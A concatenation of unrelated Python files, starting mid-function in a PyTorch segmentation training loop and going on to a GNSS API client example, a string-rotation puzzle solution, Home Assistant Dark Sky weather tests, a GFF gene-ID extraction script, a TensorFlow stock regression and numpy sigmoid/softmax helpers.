    model = get_model(model_name, num_classes=num_classes, patch_size=patch_size)
    model = model.cuda()
    print('Training', model_name, 'Number of parameters', count_parameters(model))

    optim = get_optimizer(optimizer, model.parameters(), learning_rate)
    criterion, metrics = get_loss(loss)

    criterion = criterion.cuda()
    metrics = [m.cuda() for m in metrics]

    start_epoch = 0
    report_each = 10
    best_loss = np.inf

    cudnn.benchmark = True

    train_history = {
        'epoch': [],
        'loss': [],
        'val_loss': []
    }

    checkpoint_filename = os.path.join(experiment_dir, f'{model_name}_checkpoint.pth')
    if resume:
        checkpoint = torch.load(checkpoint_filename)
        start_epoch = checkpoint['epoch']
        best_loss = checkpoint['loss']
        model.load_state_dict(checkpoint['model'])
        print('Resuming training from epoch', start_epoch, ' and loss', best_loss)

    for m in metrics:
        train_history[str(m)] = []
        train_history['val_' + str(m)] = []

    for epoch in range(start_epoch, epochs):  # loop over the dataset multiple times
        trn_losses = []
        trn_metric_scores = [[]] * len(metrics)

        model.train()

        with tqdm(total=len(trainloader) * batch_size) as tq:
            tq.set_description('Epoch {}, lr {}'.format(epoch, learning_rate))

            for i, (x, y) in enumerate(trainloader, 0):
                x, y = x.cuda(non_blocking=True), y.cuda(non_blocking=True)

                # zero the parameter gradients
                optim.zero_grad()

                # forward + backward + optimize
                outputs = model(x)
                if model_name == 'seg_caps':
                    loss = criterion(outputs, (y, x))  # For segcaps we need both x and y to compute reconstruction loss term
                else:
                    loss = criterion(outputs, y)

                bs = x.size(0)
                (bs * loss).backward()

                optim.step()

                # Compute metrics
                for metric_index, metric in enumerate(metrics):
                    if model_name == 'seg_caps':
                        score = metric(outputs[0], y)  # We interested in segmentation output for computing metric
                    else:
                        score = metric(outputs, y)

                    trn_metric_scores[metric_index].append(score.data.item())

                trn_losses.append(loss.data.item())

                tq.update(bs)
                mean_loss = np.mean(trn_losses[-report_each:])
                tq.set_postfix(loss='{:.3f}'.format(mean_loss))

        # Run validation
        torch.cuda.empty_cache()
        model.eval()
        val_metric_scores = [[]] * len(metrics)
        val_losses = []
        for x, y in validloader:
            x, y = x.cuda(non_blocking=True), y.cuda(non_blocking=True)
            outputs = model(x)
            if model_name == 'seg_caps':
                loss = criterion(outputs, (y, x))
            else:
                loss = criterion(outputs, y)

            val_losses.append(loss.data.item())

            for metric_index, metric in enumerate(metrics):
                if model_name == 'seg_caps':
                    score = metric(outputs[0], y)  # We interested in segmentation output for computing metric
                else:
                    score = metric(outputs, y)
                val_metric_scores[metric_index].append(score.data.item())

        val_loss = np.mean(val_losses)
        trn_loss = np.mean(trn_losses)

        train_history['epoch'].append(epoch)
        train_history['loss'].append(trn_loss)
        train_history['val_loss'].append(val_loss)
        for m, scores in zip(metrics, trn_metric_scores):
            train_history[str(m)].append(np.mean(scores))
        for m, scores in zip(metrics, val_metric_scores):
            train_history['val_' + str(m)].append(np.mean(scores))

        trn_metric_str = ['%s=%.3f' % i for i in [(str(m), np.mean(scores)) for m, scores in zip(metrics, trn_metric_scores)]]
        val_metric_str = ['val_%s=%.3f' % i for i in [(str(m), np.mean(scores)) for m, scores in zip(metrics, val_metric_scores)]]

        print('loss=%.3f val_loss=%.3f' % (trn_loss, val_loss), ' '.join(trn_metric_str + val_metric_str))

        if val_loss < best_loss:
            best_loss = val_loss
            torch.save({
                'model': model.state_dict(),
                'epoch': epoch,
                'loss': best_loss,
            }, checkpoint_filename)

    print('Training is finished...')

    pd.DataFrame.from_dict(train_history).to_csv(os.path.join(experiment_dir, experiment + '.csv'),
                                                 index=False,
                                                 mode='a' if resume else 'w',
                                                 header=not resume)

def main():
    parser = argparse.ArgumentParser()

    parser.add_argument('-g', '--grayscale', action='store_true', help='Whether to use grayscale image instead of RGB')
    parser.add_argument('-m', '--model', required=True, type=str, help='Name of the model')
    parser.add_argument('-p', '--patch-size', type=int, default=224)
    parser.add_argument('-b', '--batch-size', type=int, default=1, help='Batch Size during training, e.g. -b 64')
    parser.add_argument('-lr', '--learning-rate', type=float, default=1e-3, help='Initial learning rate')
    parser.add_argument('-l', '--loss', type=str, default='bce', help='Target loss')
    parser.add_argument('-o', '--optimizer', default='SGD', help='Name of the optimizer')
    parser.add_argument('-e', '--epochs', type=int, default=100, help='Epoch to run')
    parser.add_argument('-d', '--dataset', type=str, help='Name of the dataset to use for training.')
    parser.add_argument('-dd', '--data-dir', type=str, default='data', help='Root directory where datasets are located.')
    parser.add_argument('-s', '--steps', type=int, default=128, help='Steps per epoch')
    parser.add_argument('-x', '--experiment', type=str, help='Name of the experiment')
    parser.add_argument('-w', '--workers', default=0, type=int, help='Num workers')
    parser.add_argument('-r', '--resume', action='store_true')

    args = parser.parse_args()

    if args.experiment is None:
        args.experiment = 'torch_%s_%s_%d_%s_%s' % (args.dataset, args.model, args.patch_size, 'gray' if args.grayscale else 'rgb', args.loss)

    experiment_dir = os.path.join('experiments', args.dataset, args.loss, args.experiment)
    os.makedirs(experiment_dir, exist_ok=True)
    with open(os.path.join(experiment_dir, 'arguments.txt'), 'w') as f:
        f.write(' '.join(sys.argv[1:]))

    run_train_session_binary(model_name=args.model,
                             dataset_name=args.dataset,
                             dataset_dir=args.data_dir,
                             patch_size=args.patch_size,
                             batch_size=args.batch_size,
                             optimizer=args.optimizer,
                             learning_rate=args.learning_rate,
                             experiment_dir=os.path.normpath(experiment_dir),
                             resume=args.resume,
                             experiment=args.experiment,
                             grayscale=args.grayscale,
                             loss=args.loss,
                             epochs=args.epochs,
                             workers=args.workers)

if __name__ == '__main__':
    main()


# -*- coding: utf-8 -*-
"""
Created on Wed Oct  2 14:54:54 2019

@author: andres_c
"""

import pyRinexpro as rnx

# Remplace with your key
SECRET_KEY = ''

# Create the api client
client = rnx.Client(SECRET_KEY)

# Get process by id
id_process = 12
process = client.getProcess(id_process)

# Get Log
log = process.getLog()

# The trajectory as a list
log.trajectory.list

# The trajectory as a pandas DataFrame
log.trajectory.df()

# Export the trajectory to a cvs file
log.trajectory.to_csv('trajectory.csv')

# Export the trajectory to a kml file
log.trajectory.to_kml('trajectory.kml', 'Points')

# Export the trajectory to a kmz file
log.trajectory.to_kmz('trajectory.kmz', 'Points|LineString')

# Export the trajectory to a geojson file
log.trajectory.to_geojson('trajectory.json', 'LineString')


def shift(s, amt):
    return s[amt:] + s[:amt]

def main():
    s = input()
    q = int(input())
    for _ in range(q):
        l, r, k = map(int, input().split())
        l -= 1
        k %= (r - l)
        s = s[:l] + shift(s[l:r], r - l - k) + s[r:]

    print(s)

main()


"""The tests for the Dark Sky weather component."""
import re
import unittest
from unittest.mock import patch

import forecastio
from requests.exceptions import ConnectionError
import requests_mock

from homeassistant.components import weather
from homeassistant.setup import setup_component
from homeassistant.util.unit_system import METRIC_SYSTEM

from tests.common import get_test_home_assistant, load_fixture

class TestDarkSky(unittest.TestCase):
    """Test the Dark Sky weather component."""

    def setUp(self):
        """Set up things to be run when tests are started."""
        self.hass = get_test_home_assistant()
        self.hass.config.units = METRIC_SYSTEM
        self.lat = self.hass.config.latitude = 37.8267
        self.lon = self.hass.config.longitude = -122.423
        self.addCleanup(self.tear_down_cleanup)

    def tear_down_cleanup(self):
        """Stop down everything that was started."""
        self.hass.stop()

    @requests_mock.Mocker()
    @patch("forecastio.api.get_forecast", wraps=forecastio.api.get_forecast)
    def test_setup(self, mock_req, mock_get_forecast):
        """Test for successfully setting up the forecast.io platform."""
        uri = (
            r"https://api.(darksky.net|forecast.io)\/forecast\/(\w+)\/"
            r"(-?\d+\.?\d*),(-?\d+\.?\d*)"
        )
        mock_req.get(re.compile(uri), text=load_fixture("darksky.json"))

        assert setup_component(
            self.hass,
            weather.DOMAIN,
            {"weather": {"name": "test", "platform": "darksky", "api_key": "foo"}},
        )
        self.hass.block_till_done()

        assert mock_get_forecast.called
        assert mock_get_forecast.call_count == 1

        state = self.hass.states.get("weather.test")
        assert state.state == "sunny"

    @patch("forecastio.load_forecast", side_effect=ConnectionError())
    def test_failed_setup(self, mock_load_forecast):
        """Test to ensure that a network error does not break component state."""

        assert setup_component(
            self.hass,
            weather.DOMAIN,
            {"weather": {"name": "test", "platform": "darksky", "api_key": "foo"}},
        )
        self.hass.block_till_done()

        state = self.hass.states.get("weather.test")
        assert state.state == "unavailable"


from __future__ import print_function
from builtins import map
import argparse
import gff

#
# JGI format
#
# gff3:
#
#scaffold_1      phytozomev10    gene    796363  797228  .       -       .       ID=estExt_fgenesh1_pg.C_10151.3.0.228;Name=estExt_fgenesh1_pg.C_10151
#scaffold_1      phytozomev10    mRNA    796363  797228  .       -       .       ID=209109.3.0.228;Name=209109;pacid=27345144;longest=1;Parent=estExt_fgenesh1_pg.C_10151.3.0.228
#scaffold_1      phytozomev10    three_prime_UTR 796363  796397  .       -       .       ID=209109.3.0.228.three_prime_UTR.1;Parent=209109.3.0.228;pacid=27345144
#scaffold_1      phytozomev10    CDS     796398  797189  .       -       0       ID=209109.3.0.228.CDS.1;Parent=209109.3.0.228;pacid=27345144
#scaffold_1      phytozomev10    five_prime_UTR  797190  797228  .       -       .       ID=209109.3.0.228.five_prime_UTR.1;Parent=209109.3.0.228;pacid=27345144
#
# CDS fasta:
#>209109 pacid=27345144 polypeptide=209069 locus=estExt_fgenesh1_pg.C_10151 ID=209109.3.0.228 annot-version=v3.0
#

def parseOption(possibleValues, name):
    def checkOption(value):
        if value in possibleValues:
            return value
        else:
            raise argparse.ArgumentTypeError("Unknown %s '%s', allowed values: %s" % (name, value, ",".join(possibleValues)))
    return checkOption

def parseList(conversion=str):
    def convert(values):
        return list(map(conversion, values.split(",")))
    return convert

argsParser = argparse.ArgumentParser()
#argsParser.add_argument("--taxid", type=int)
argsParser.add_argument("--gff")
argsParser.add_argument("--variant", type=parseOption(set(("yeastgenome","NCBI","Ensembl")), "variant"))
argsParser.add_argument("--output-gene-ids")
argsParser.add_argument("--areas", type=parseList(int))
argsParser.add_argument("--transl-table", type=int)
argsParser.add_argument("--alt-protein-ids", type=parseOption(set(("locus_tag",)), "alt-protein-id"))
args = argsParser.parse_args()
assert(args.transl_table)

print("Loading gff file...")
db = gff.createGffDb(args.gff, args.variant)
print("Done.")

# Collect all Yeast coding genes; skip 'Dubious' ORFs
includedGenes = 0
skippedGenes = 0
duplicateCDSGenes = 0

codingGenes = set()

prev = 0

def getRegions():
    out = []
    if( args.variant=="yeastgenome.org" or args.variant=="NCBI"):
        for region in db.features_of_type("region"):
            out.append(region[0])
    elif( args.variant=="Ensembl"):
        out=[None]
    else:
        assert(False)
    return out

dbxref = set()

def processCodingGene(identifier, cds, parent):
    codingGenes.add(identifier)
    if 'Dbxref' in cds.attributes:
        dbxref.add(cds.attributes['Dbxref'][0])

allAreas = args.areas
if not allAreas:
    allAreas = getRegions()

def CDS_and_mRNA_source():
    if( args.variant=="yeastgenome.org" or args.variant=="NCBI"):
        for cds in db.features_of_type('CDS', limit=(area, 0, 100000000), completely_within=False):
            for mRNA in db.parents(cds.id):
                for gene in db.parents(mRNA.id):
                    yield cds, mRNA, gene

    elif( args.variant=="Ensembl"):
        for cds in db.features_of_type('CDS'):
            #print("CDS.id: %s" % cds.id)
            mRNA = None
            gene = None
            for p in db.parents(cds.id):
                #print("mRNA.featuretype: %s" % (mRNA.featuretype))
                if p.featuretype=='gene':
                    gene = p
                elif p.featuretype=='mRNA' or p.featuretype=='miRNA':
                    mRNA = p
                elif p.featuretype=='transcript':
                    mRNA = p
            yield cds, mRNA, gene

    else:
        assert(False)

for area in allAreas:
#for area in ('chrI', 'chrII', 'chrIII', 'chrIV', 'chrV', 'chrVI', 'chrVII', 'chrVIII', 'chrIX', 'chrX', 'chrXI', 'chrXII', 'chrXIII', 'chrXIV', 'chrXV', 'chrXVI'):     #, 'chrmt'):
    codingGenesInArea = 0
    for cds, mRNA, gene in CDS_and_mRNA_source():
        if(args.variant=="yeastgenome.org"):
            #for gene in db.parents(mRNA.id):
            if gene.featuretype == 'gene':
                if args.variant=="yeastgenome.org" and gene.attributes['orf_classification'][0] == 'Dubious':
                    skippedGenes += 1
                    continue

                if gene.id in codingGenes:
                    duplicateCDSGenes += 1
                #    print("%s already in!" % (gene.id,))
                # Note - manually tested that duplicates have identical coordinate
                processCodingGene(gene.id, cds, gene)
                codingGenesInArea += 1

        elif( args.variant=="NCBI"):
            # TODO - FIX THIS!!!!
            if(mRNA.featuretype != "gene"):
                skippedGenes += 1
                continue

            assert(mRNA.featuretype=="gene")

            #print(mRNA)

            # Skip pseudo-genes
            if( mRNA.attributes['gene_biotype'][0] == 'pseudogene' ):
                skippedGenes += 1
                continue

            if( 'pseudo' in cds.attributes and cds.attributes['pseudo'][0] == 'true' ):
                skippedGenes +=1
                continue

            if( 'transl_table' in cds.attributes and int(cds.attributes['transl_table'][0]) != args.transl_table ):
                skippedGenes += 1
                continue

            #if( mRNA.attributes['gene'][0][:3] == 'ins' ):
            #    print(cds)
            #    print(mRNA)

            if 'Dbxref' in mRNA.attributes:
                _Dbxrefs = mRNA.attributes['Dbxref']
            elif 'Dbxref' in cds.attributes:  # On some gff files, the attributes appear on the CDS feature...
                _Dbxrefs = cds.attributes['Dbxref']
            else:
                skippedGenes += 1
                continue

            assert(len(_Dbxrefs)>0)
            Dbxrefs = dict([tuple(x.split(":")) for x in _Dbxrefs])

            # Extract the gene name
            #geneId = Dbxrefs['GeneID']
            if not args.alt_protein_ids:
                geneId = cds.attributes['protein_id'][0]
            elif args.alt_protein_ids=='locus_tag':
                geneId = mRNA.attributes['locus_tag'][0]

            processCodingGene(geneId, cds, mRNA)
            if( mRNA.id in codingGenes ):
                print("Duplicate entries for %s" % (mRNA.id,))
                duplicateCDSGenes += 1

            codingGenesInArea += 1

        elif(args.variant=="Ensembl"):
            #print("-")
            biotype = mRNA.attributes['biotype'][0]
            if( biotype != 'protein_coding' ):
                skippedGenes += 1
                continue

            geneId = mRNA.attributes['transcript_id'][0]
            if( not geneId ):
                print("Missing gene-id!")
                assert(False)

            print(cds.attributes)
            #print(mRNA.attributes)
            #print(gene.attributes)

            processCodingGene(geneId, cds, mRNA)
            if( mRNA.id in codingGenes ):
                print("Duplicate entries for %s" % (mRNA.id,))
                duplicateCDSGenes += 1

            codingGenesInArea += 1

        else:
            assert(False)

    includedGenes += codingGenesInArea
    print("new, prev: ", codingGenesInArea, len(codingGenes)-prev)
    prev = len(codingGenes)

    print(area, codingGenesInArea)
    #print(list(codingGenes)[1:10])

print("%d genes included, %d skipped" % (includedGenes, skippedGenes))
if duplicateCDSGenes:
    print("Warning: found %d multiple-CDS features (more than one CDS under the same gene)" % duplicateCDSGenes )

#print(len(codingGenes))

# Write file containing selected gene-ids:
if args.output_gene_ids:
    with open(args.output_gene_ids, "w") as out:
        for geneId in sorted(codingGenes):
            out.write("%s\n" % geneId)


import tensorflow as tf
import numpy as np

tf.set_random_seed(0)

train_ratio = 0.8
learning_rate = 1e-14
steps = 5000

xy = np.loadtxt('../../dataset/02-stock_google.csv', delimiter=',')
train_size = int((xy.shape[0] - 1) * train_ratio)
x_train, y_train = xy[:train_size], xy[1:train_size+1, [-1]]
x_test, y_test = xy[train_size:-1], xy[train_size+1:, [-1]]
num_features = x_train.shape[1]
print(x_train.shape, y_train.shape)
print(x_test.shape, y_test.shape)

X = tf.placeholder(tf.float32, [None, num_features])
Y = tf.placeholder(tf.float32, [None, 1])

W = tf.Variable(tf.random_normal([num_features, 1]))
b = tf.Variable(tf.random_normal([1]))

H = tf.matmul(X, W) + b

cost = tf.reduce_mean(tf.square(H - Y))

train = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost)

abs_diff = tf.abs(H - Y)
mae, min_diff, max_diff =  tf.reduce_mean(abs_diff), tf.reduce_min(abs_diff), tf.reduce_max(abs_diff)

with tf.Session() as sess:
    sess.run(tf.global_variables_initializer())

    for step in range(steps):
        _cost, _ = sess.run([cost, train], {X: x_train, Y: y_train})
        if step < 10 or step % 100 == 0:
            print('step: %4d, cost: %.5e, mae: %.4f' % (step, _cost, sess.run(mae, {X: x_test, Y: y_test})))

    print('MAE: %.4f, MinDiff: %.4f, MaxDiff: %.4f' % tuple(sess.run([mae, min_diff, max_diff], {X: x_test, Y: y_test})))

# xy = xy[:, [0,1,2,4]]
# 1e-7


import numpy as np

def sigmoid(
        logits: np.ndarray
) -> np.ndarray:
    """
    Sigmoid activation function (I.e., scales to [0, 1]).

    :param logits: Output from dot-product
    :return: Prediction probability
    """
    return 1. / (1. + np.exp(-logits))

def softmax(
        logits: np.ndarray
) -> np.ndarray:
    """
    Softmax activation function (I.e., scales to SUM to 1).

    :param logits: Output from dot-product
    :return: Prediction probabilities
    """
    exp = np.exp(logits)
    probabilities = exp / exp.sum()
    return probabilities